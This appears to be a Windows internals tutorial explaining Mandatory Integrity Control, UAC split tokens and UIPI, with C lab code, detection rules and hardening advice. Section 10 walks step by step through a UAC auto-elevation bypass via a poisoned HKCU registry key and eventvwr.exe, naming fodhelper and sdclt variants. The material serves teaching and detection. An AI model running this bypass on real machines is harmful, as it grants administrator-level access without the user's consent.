Integrity Levels and Mandatory Integrity Control

By Debraj Basak·Jul 4, 2026·17 min readWindows Internals

Objective: Understand how Windows Mandatory Integrity Control (MIC) tags every process and securable object with an integrity level, how the Security Reference Monitor enforces those levels before DACLs are ever consulted, how UAC’s split-token model layers on top, and how attackers punch through the medium-to-high boundary. You should finish able to query, set, and detect integrity-level manipulation on your own box.


DACLs answer “who can touch this?” Integrity levels answer a different, blunter question: “is the caller trustworthy enough to be in the same room as this object?” MIC was bolted into Windows in Vista precisely because discretionary access control had proven insufficient. An admin-owned process reading a document is fine on paper. That same admin-owned process reading a document after being compromised by a browser sandbox escape is not, and the DACL cannot tell the difference. The integrity level can.

MIC is mandatory in the classical sense: there is no group policy switch to disable it, and the check runs before the DACL check every single time. If MIC says no, the DACL never gets a vote.


1. What Mandatory Integrity Control Actually Is

MIC is a labeling and enforcement layer over the existing access-control model. Every access token carries an integrity level (IL). Every securable object can carry a mandatory label describing what lower-IL subjects are allowed to do to it. The Security Reference Monitor consults both before the DACL is even opened.

Three things worth internalizing up front:

  • The integrity mechanism is always on. There is no toggle. It is not a policy, it is architecture.
  • Objects without an explicit label are treated as Medium. That default is the reason MIC works at all on a 20-year-old codebase, most objects never had to be relabeled.
  • The check is one-directional. MIC does not stop high processes from reading low objects. It stops low processes from writing up to high ones. This is the Biba-integrity model, roughly the mirror of Bell-LaPadula.

2. Integrity Level SIDs and the Hierarchy

Every IL is expressed as a SID in the S-1-16-RID form, where the RID places the level on the ladder. The important ones, exactly as winnt.h defines them:

LevelSIDRID (hex)RID (dec)Typical assignment
UntrustedS-1-16-00x00000Anonymous / heavily sandboxed workers
LowS-1-16-40960x10004096Browser renderers, AppContainer, protected-mode IE
MediumS-1-16-81920x20008192Standard user processes, filtered-token admins
HighS-1-16-122880x300012288Elevated admin processes
SystemS-1-16-163840x400016384Services, kernel-created processes
InstallerS-1-16-245760x600024576Windows Installer (msiexec) service context

The RIDs are ordered numerically, and that ordering is the trust hierarchy. Comparison is literal integer comparison. This will matter when you look at ACE evaluation later.

The Installer level is worth a footnote: it exists so msiexec-driven install actions can outrank ordinary High processes and modify system files that even normal High-IL admins should not casually rewrite. In practice you rarely see subjects running at Installer, but the RID is defined.


Hierarchy diagram of Windows integrity levels from Untrusted at the bottom to Installer at the top, showing each level's SID
The six Windows integrity levels ordered by their RID values; comparison is literal integer arithmetic inside the Security Reference Monitor.

3. Where Integrity Levels Live: Tokens and SACLs

The IL of a subject rides inside the access token. It is not a separate field, it is folded into the token’s group list. Specifically, TOKEN_GROUPS contains a SID_AND_ATTRIBUTES entry whose SID is the integrity SID and whose attributes are:

#define SE_GROUP_INTEGRITY          0x00000020
#define SE_GROUP_INTEGRITY_ENABLED  0x00000040

You retrieve it with GetTokenInformation using the TokenIntegrityLevel class, which hands you a TOKEN_MANDATORY_LABEL:

typedef struct _TOKEN_MANDATORY_LABEL {
    SID_AND_ATTRIBUTES Label;
} TOKEN_MANDATORY_LABEL, *PTOKEN_MANDATORY_LABEL;

The IL of an object lives in its SACL, not its DACL. That is the part that trips people up the first time. The relevant ACE is SYSTEM_MANDATORY_LABEL_ACE, which sits in the system ACL alongside audit ACEs. It carries the integrity SID (defining the object’s own level) and an access mask made of these policy flags:

FlagMeaning
SYSTEM_MANDATORY_LABEL_NO_WRITE_UPLower-IL subjects cannot write to the object
SYSTEM_MANDATORY_LABEL_NO_READ_UPLower-IL subjects cannot read the object
SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UPLower-IL subjects cannot execute the object

Default is NO_WRITE_UP only. That is why a Medium-IL process can happily read most High-IL files. Read-up is not blocked unless someone explicitly labeled the object with NO_READ_UP. If you want a secret to be unreadable by a browser sandbox, you label it. Otherwise, MIC is not stopping the reader.

Every token also carries a TOKEN_MANDATORY_POLICY, set by LSA at token creation:

typedef struct _TOKEN_MANDATORY_POLICY {
    DWORD Policy;
} TOKEN_MANDATORY_POLICY;

// Policy flags:
// TOKEN_MANDATORY_POLICY_OFF                0x0
// TOKEN_MANDATORY_POLICY_NO_WRITE_UP        0x1
// TOKEN_MANDATORY_POLICY_NEW_PROCESS_MIN    0x2

NEW_PROCESS_MIN is the flag that enforces the “child process gets min(parent IL, executable IL)” rule. Turn it off (which you cannot from user mode) and children would inherit unconditionally.


4. The Mandatory Policy Access Mask in Practice

NO_WRITE_UP is the star of the show. It is the flag that makes a browser renderer running at Low unable to overwrite a Medium-IL user document, and unable to inject into a Medium-IL parent. Read-up and execute-up bans are opt-in per object.

The comparison logic inside the SRM, if you want a mental model:

  1. Read the caller’s IL from the token.
  2. Read the object’s IL from the SYSTEM_MANDATORY_LABEL_ACE.
  3. If caller IL >= object IL, MIC does not restrict this access, fall through to DACL.
  4. Otherwise, look at the ACE’s mask. If the requested access (write / read / execute) intersects the “no X up” prohibition, deny outright.
  5. Only if MIC does not deny do we ever evaluate the DACL.

That “fall through to DACL” step is important. MIC failing open does not grant access, it merely defers the question. The DACL still gets to say no.


5. The Security Reference Monitor and the AccessCheck Flow

The Security Reference Monitor (SRM) is the kernel component that owns access decisions. From user mode you touch it via AccessCheck; from a driver you use SeAccessCheck. Under the hood the flow is the same:

Subject requests handle
      |
      v
+---------------------+
| SeAccessCheck       |
|  1. Load token      |
|  2. Load object SD  |
|  3. MIC eval (SACL) |  <-- integrity gate, runs FIRST
|  4. DACL eval       |
+---------------------+
      |
      v
Access granted / denied

Two consequences of this ordering that people miss:

  • A “generous” DACL cannot save a caller that MIC has already rejected. You could Everyone: Full Control an object and a Low-IL process still cannot write to it if the object is Medium with NO_WRITE_UP.
  • Owner-of-object rights (which normally bypass DACL for WRITE_DAC) do not bypass MIC. If your IL is lower than the object’s, you cannot rewrite its DACL to grant yourself access, MIC will block the write to the security descriptor.

Flow diagram showing SeAccessCheck evaluating the MIC integrity gate before DACL, with a deny branch when caller integrity level is lower than the object
The Security Reference Monitor always runs the MIC check first; a DACL granting Everyone Full Control cannot override an integrity-level denial.

6. Process Creation and IL Inheritance

When CreateProcess fires, the resulting process gets min(caller_token_IL, executable_file_IL). Practical effects:

  • A Medium user launching a Medium executable gets a Medium child. Boring, expected.
  • The same user launching a file that has been labeled Low (via icacls /setintegritylevel Low) gets a Low child. This is exactly how Chrome, Edge, and Adobe Reader put their renderers into a Low sandbox: label the binary Low, spawn it normally, done.
  • A High-IL admin shell launching a Medium-labeled executable gets a Medium child. You cannot accidentally elevate by execution alone.

You cannot raise your child’s IL above your own from user mode. You can lower it. The dance is: OpenProcessToken -> DuplicateTokenEx -> SetTokenInformation(TokenIntegrityLevel, ...) with a lower SID -> CreateProcessAsUser. Try to set a higher IL and SetTokenInformation returns ERROR_PRIVILEGE_NOT_HELD unless you hold SeTcbPrivilege.

MIC also prevents cross-boundary process meddling. A Medium process calling OpenProcess(PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, ...) against a High process gets ACCESS_DENIED. Same for WriteProcessMemory, CreateRemoteThread, NtCreateThreadEx, and friends. This is the reason a compromised Medium userland cannot trivially reach into lsass.exe.


7. UAC, the Split Token, and Elevation

Here is where the model gets interesting on a machine where your user is a local admin. Log in as Bob, a member of the local Administrators group, with UAC on. LSA notices the admin membership at logon and produces two tokens:

  • A filtered token with admin SIDs marked deny-only, most privileges stripped, IL set to Medium. This is the token attached to your desktop session by default.
  • A linked full token with the admin SIDs enabled, privileges intact, IL set to High. This one sits dormant until you elevate.

The tokens report their elevation state via TokenElevationType:

ValueMeaning
TokenElevationTypeDefault (1)Not a split-token user (e.g., standard user, or UAC disabled)
TokenElevationTypeFull (2)This is the elevated half
TokenElevationTypeLimited (3)This is the filtered half

When you right-click and hit “Run as administrator”, consent.exe (running at System) prompts on the Secure Desktop and, on approval, hands the full token to CreateProcessAsUser. The new process is High. That is the intended path.

Certain shipped Microsoft binaries are marked autoElevate=true in their manifests (eventvwr.exe, fodhelper.exe, ComputerDefaults.exe, sdclt.exe, and others). For those, UAC skips the consent prompt when launched by an admin, provided the binary is signed by Microsoft, lives under %SystemRoot%\System32, and passes AIS’s checks. That “no prompt for the good binaries” convenience is exactly the seam attackers pry open.

Registry knobs that govern all of this:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
    ConsentPromptBehaviorAdmin   (0=no prompt, 2=Always Notify, 5=default)
    EnableLUA                    (0=UAC off, 1=on)
    FilterAdministratorToken     (0=RID-500 exempt, 1=RID-500 in UAC)

Illustration of a split token concept - one ordinary identity and one elevated crowned identity locked behind a vault
UAC’s split-token model keeps the elevated full token dormant until explicit consent is granted, isolating admin power from the default session.

8. UIPI: Integrity Levels Applied to Window Messages

User Interface Privilege Isolation is a separate mechanism that uses MIC’s ladder for a different purpose: GUI messaging. A lower-IL process cannot SendMessage or PostMessage into a higher-IL window, cannot SetWindowsHookEx against it, cannot journal-record it, cannot shatter it with WM_TIMER tricks. This is what killed the classic “shatter attacks” that plagued XP.

A higher-IL process can opt selected messages through the barrier with ChangeWindowMessageFilterEx, typically to accept things like WM_COPYDATA from a specific lower-IL cooperating process. UIPI is related to MIC (it reads the same IL from the same token) but it is not MIC itself, it is a separate enforcement point in user32/win32k.


9. Querying and Manipulating Integrity Levels (Lab)

Fire up an admin-capable Windows 10 or 11 VM with Sysmon installed. Open PowerShell as a normal (non-elevated) user, this is your Medium-IL context. Everything below is on your own machine.

9.1 Cheap check: PowerShell

whoami /groups | Select-String "Mandatory"
[System.Security.Principal.WindowsIdentity]::GetCurrent().Groups |
    Where-Object { $_.Value -match "^S-1-16-" }

You will see S-1-16-8192 (Medium) in a normal shell, or S-1-16-12288 (High) in an elevated one.

9.2 Real check: query a token from C

// il_query.c  -  build: cl /nologo il_query.c advapi32.lib
#include <windows.h>
#include <sddl.h>
#include <stdio.h>

int wmain(int argc, wchar_t **argv) {
    DWORD pid = (argc > 1) ? _wtoi(argv[1]) : GetCurrentProcessId();
    HANDLE hProc = (pid == GetCurrentProcessId())
        ? GetCurrentProcess()
        : OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
    if (!hProc) { printf("OpenProcess failed: %lu\n", GetLastError()); return 1; }

    HANDLE hTok = NULL;
    if (!OpenProcessToken(hProc, TOKEN_QUERY, &hTok)) {
        printf("OpenProcessToken failed: %lu\n", GetLastError()); return 1;
    }

    DWORD cb = 0;
    GetTokenInformation(hTok, TokenIntegrityLevel, NULL, 0, &cb);
    PTOKEN_MANDATORY_LABEL tml = (PTOKEN_MANDATORY_LABEL)LocalAlloc(LPTR, cb);
    if (!GetTokenInformation(hTok, TokenIntegrityLevel, tml, cb, &cb)) {
        printf("GetTokenInformation failed: %lu\n", GetLastError()); return 1;
    }

    DWORD rid = *GetSidSubAuthority(
        tml->Label.Sid,
        (DWORD)(UCHAR)(*GetSidSubAuthorityCount(tml->Label.Sid) - 1));

    LPWSTR sidStr = NULL;
    ConvertSidToStringSidW(tml->Label.Sid, &sidStr);
    wprintf(L"PID %lu  IL SID=%s  RID=0x%04lx\n", pid, sidStr, rid);

    const wchar_t *name = L"Unknown";
    switch (rid) {
        case SECURITY_MANDATORY_UNTRUSTED_RID: name = L"Untrusted"; break;
        case SECURITY_MANDATORY_LOW_RID:       name = L"Low";       break;
        case SECURITY_MANDATORY_MEDIUM_RID:    name = L"Medium";    break;
        case SECURITY_MANDATORY_HIGH_RID:      name = L"High";      break;
        case SECURITY_MANDATORY_SYSTEM_RID:    name = L"System";    break;
    }
    wprintf(L"Integrity level: %s\n", name);

    LocalFree(sidStr); LocalFree(tml); CloseHandle(hTok);
    return 0;
}

Run it against lsass (System), your Explorer (Medium), and an elevated cmd (High). Read the RIDs directly, don’t just trust the pretty name.

9.3 Spawn a Low-IL child

// spawn_low.c  -  demonstrates lowering IL on a duplicated token
#include <windows.h>
#include <sddl.h>
#include <stdio.h>

int wmain(void) {
    HANDLE hTok, hDup;
    OpenProcessToken(GetCurrentProcess(),
        TOKEN_DUPLICATE | TOKEN_ADJUST_DEFAULT | TOKEN_QUERY |
        TOKEN_ASSIGN_PRIMARY, &hTok);

    DuplicateTokenEx(hTok, MAXIMUM_ALLOWED, NULL,
        SecurityImpersonation, TokenPrimary, &hDup);

    PSID lowSid = NULL;
    ConvertStringSidToSidW(L"S-1-16-4096", &lowSid);   // Low IL

    TOKEN_MANDATORY_LABEL tml = {0};
    tml.Label.Attributes = SE_GROUP_INTEGRITY;
    tml.Label.Sid        = lowSid;

    if (!SetTokenInformation(hDup, TokenIntegrityLevel, &tml,
            sizeof(TOKEN_MANDATORY_LABEL) + GetLengthSid(lowSid))) {
        printf("SetTokenInformation: %lu\n", GetLastError());
        return 1;
    }

    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};
    wchar_t cmd[] = L"cmd.exe";
    if (!CreateProcessAsUserW(hDup, NULL, cmd, NULL, NULL, FALSE,
            0, NULL, NULL, &si, &pi)) {
        printf("CreateProcessAsUser: %lu\n", GetLastError());
        return 1;
    }
    printf("Spawned PID %lu at Low IL\n", pi.dwProcessId);
    return 0;
}

Verify with il_query.exe <pid>. Then, from that Low shell, try to write a file under %USERPROFILE%\Documents. You will get access denied even though the DACL grants you Full Control, because your Documents folder is Medium and you are trying to write up.

Try to raise it back to High and SetTokenInformation returns ERROR_PRIVILEGE_NOT_HELD. The kernel will let you drop, never climb.

9.4 Label an object

echo secret > C:\Temp\secret.txt
icacls C:\Temp\secret.txt /setintegritylevel (OI)(CI)High
icacls C:\Temp\secret.txt

Now try to open it for write from the Low shell you spawned earlier. Denied. Try to read it. Also denied, because /setintegritylevel High applies NO_WRITE_UP, NO_READ_UP, and NO_EXECUTE_UP together by default when set via icacls. This is the demonstration that read-up is not the default policy globally, it is the default for icacls’ explicit labeling.


10. Attacker Abuse: The UAC Auto-Elevation Bypass Pattern

This is the section people actually skim for, so let’s be concrete. All of the following runs on your own VM, medium-IL PowerShell, admin user in filtered-token state. The technique is a decade old, thoroughly patched in “Always Notify” mode, and reproducible in about ninety seconds.

The idea in one sentence: several auto-elevating Microsoft binaries resolve helper commands through HKCU before HKCR. Poison the HKCU copy, trigger the auto-elevating binary, and its child inherits High integrity without a consent prompt.

eventvwr.exe is the canonical example. On launch it queries HKCU\Software\Classes\mscfile\shell\open\command to find mmc.exe. If that key does not exist, resolution falls back to HKCR and everything is fine. If that key does exist because you just wrote it, eventvwr.exe will happily launch whatever you named there, as a child at High IL.

10.1 The exploitation path

StepWhatHow
1Confirm medium ILwhoami /groups \| findstr Mandatory -> Medium Mandatory Level
2Confirm the binary auto-elevatessigcheck -m C:\Windows\System32\eventvwr.exe -> manifest shows autoElevate="true"
3Confirm registry hijack surface existsreg query HKCR\mscfile\shell\open\command (exists) vs reg query HKCU\Software\Classes\mscfile (does not)
4Poison the HKCU keyreg add "HKCU\Software\Classes\mscfile\shell\open\command" /ve /d "cmd.exe" /f
5TriggerStart-Process eventvwr.exe
6ObserveNew cmd.exe window pops. Inside it: whoami /groups \| findstr Mandatory -> High Mandatory Level. No consent prompt fired.
7Clean upreg delete "HKCU\Software\Classes\mscfile" /f

The same pattern with different registry paths gives you fodhelper.exe (HKCU\Software\Classes\ms-settings\shell\open\command) and sdclt.exe (HKCU\Software\Classes\Folder\shell\open\command), among others. The details rotate; the shape does not.

What is actually happening at the token level: eventvwr.exe is auto-elevated by AIS, so it starts at High. It then calls ShellExecute on the poisoned command. ShellExecute calls CreateProcess from a High-IL parent, and the child inherits min(High, executable_IL) = High. No API is being bypassed. The design assumed the binary would only ever resolve to mmc.exe, and the design was wrong.

The general primitive here is T1548.002. The register-a-user-controlled-COM-elevation variants (ICMLuaUtil, IColorDataProxy, and cousins) are the same idea one level of indirection deeper: instead of hijacking a registry command string, you hijack a COM elevation moniker that an already-elevated broker will invoke.


Flow diagram tracing the eventvwr UAC bypass from registry key poisoning through auto-elevation to a High integrity level child process
The auto-elevation bypass never calls consent.exe – it poisons a HKCU registry lookup so an already-trusted Microsoft binary spawns the attacker’s payload at High IL.

11. Detection, Defense, and Hardening

11.1 Sysmon signals

EIDField of interestWhat you catch
1 (Process Create)IntegrityLevel, ParentImage, Image, CommandLineA High-IL child of an auto-elevator whose Image is not the expected legit helper
13 (RegistryEvent SetValue)TargetObject, DetailsWrites to HKCU\Software\Classes\{mscfile,ms-settings,Folder}\shell\open\command from a medium-IL process
10 (ProcessAccess)TargetImage, GrantedAccess, CallTraceCross-IL OpenProcess attempts against higher-IL processes

11.2 Windows Security log

EIDNotes
4688Enable “Include command line in process creation events.” Check the Token Elevation Type value: %%1936 Default, %%1937 Full, %%1938 Limited
4672Fires when a new logon receives sensitive privileges. Any 4672 outside your expected admin session is worth a look
4703Privilege enable/disable on a token. SeDebugPrivilege enabling from an unexpected process is the classic signal
4674Operation attempted on a privileged object. Noisy, filter aggressively

11.3 A Sigma rule that actually catches the eventvwr pattern

title: UAC Bypass via HKCU Shell Open Command Hijack
id: 6e3f2b21-9c1e-46a1-88a0-9c1b62a5c5f1
status: experimental
logsource:
  product: windows
  service: sysmon
detection:
  reg_write:
    EventID: 13
    TargetObject|contains:
      - '\Software\Classes\mscfile\shell\open\command'
      - '\Software\Classes\ms-settings\shell\open\command'
      - '\Software\Classes\Folder\shell\open\command'
  condition: reg_write
falsepositives:
  - Legitimate installers registering file associations (rare under HKCU)
level: high
tags:
  - attack.privilege_escalation
  - attack.defense_evasion
  - attack.t1548.002

Pair it with a second rule keying off Sysmon EID 1: parent is eventvwr.exe/fodhelper.exe/sdclt.exe/ComputerDefaults.exe, IntegrityLevel is High, and the child image is anything other than the expected legitimate helper. That second rule is the one that catches operators who cleaned up the registry key before you got to it.

11.4 ETW providers worth wiring up

  • Microsoft-Windows-Security-Auditing (feeds the Security log)
  • Microsoft-Windows-Kernel-Process with the ProcessStart keyword (early, kernel-level process creation with token info)
  • Microsoft-Windows-UAC (elevation requests, outcomes, whether Secure Desktop was used)
  • Microsoft-Windows-Kernel-Audit-API-Calls (surfaces NtSetInformationToken when configured)

11.5 Hardening

ControlWhereEffect
ConsentPromptBehaviorAdmin = 2 (Always Notify)HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemKills auto-elevation. Every High-IL launch shows Secure Desktop consent. This alone breaks 90% of the T1548.002 catalog
FilterAdministratorToken = 1Same keyEnrolls the built-in RID-500 Administrator in UAC. Without this, Administrator bypasses the whole model
EnableSecureUIAPaths = 1Same keyRejects auto-elevation for binaries outside protected system paths
Protected Users groupADMembers’ tokens cannot be delegated or elevated further; useful for tier-0 accounts
AppLocker/WDAC block on unused auto-elevatorsPolicyIf your fleet never runs fodhelper.exe interactively, block it. Removes an entire class of primitives
GPO: process creation with command lineComputer Config -> Advanced Audit Policy -> Detailed TrackingMakes 4688 actually useful

The single highest-value control is ConsentPromptBehaviorAdmin = 2. Set it on your admin workstations and most of the “no-prompt auto-elevation” family stops working, because the auto-elevation path is what those techniques exploit. You pay a UX tax. It is worth it.


12. Tools for MIC Analysis

ToolDescription
Process ExplorerAdd the Integrity Level column to see every process’s IL at a glance
Process HackerToken tab exposes IL, mandatory policy flags, and TokenElevationType
whoami /groupsShows the current shell’s IL group entry
icaclsView and set SYSTEM_MANDATORY_LABEL_ACE on files and directories
AccessChk (Sysinternals)accesschk.exe -e <path> prints explicit integrity labels only
sigcheck (Sysinternals)-m dumps the embedded manifest, useful for confirming autoElevate
SysmonEID 1 IntegrityLevel, EID 10 cross-IL access, EID 13 registry poisoning
WinDbg!token on a _EPROCESS shows the IL SID and mandatory policy

13. MITRE ATT&CK Mapping

TechniqueIDDetection anchor
Abuse Elevation Control MechanismT1548Any child with IntegrityLevel higher than parent, without a paired consent.exe invocation
Abuse Elevation Control Mechanism: Bypass UACT1548.002Sysmon EID 13 on the shell-open-command HKCU paths, plus EID 1 with auto-elevator parent and unexpected child
Access Token ManipulationT1134NtSetInformationToken via ETW, or 4703 privilege adjustments on unexpected processes
Access Token Manipulation: Create Process with TokenT1134.0024688 showing CreateProcessAsUser/CreateProcessWithTokenW from non-service parents
Process InjectionT1055EID 10 with cross-IL OpenProcess grants like 0x1FFFFF against higher-IL targets

Summary

  • MIC is a mandatory, always-on labeling layer that runs before DACL evaluation and enforces a Biba-style no-write-up rule between subjects and objects.
  • Integrity lives in two places: the subject’s token (as a TOKEN_GROUPS entry flagged SE_GROUP_INTEGRITY) and the object’s SACL (as a SYSTEM_MANDATORY_LABEL_ACE), with unlabeled objects defaulting to Medium.
  • Process creation clamps children to min(parent IL, executable IL), and user-mode code can only lower the IL of a token it duplicates, never raise it.
  • UAC’s split-token model gives admins a filtered Medium token by default; auto-elevating signed binaries are the seam that T1548.002 techniques (eventvwr, fodhelper, sdclt, COM elevation) pry open without ever calling consent.exe.
  • Detect via Sysmon EID 13 on HKCU\Software\Classes\...\shell\open\command, EID 1 on High-IL children of auto-elevators, and Security 4688 with token elevation type; harden with ConsentPromptBehaviorAdmin=2 and FilterAdministratorToken=1.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.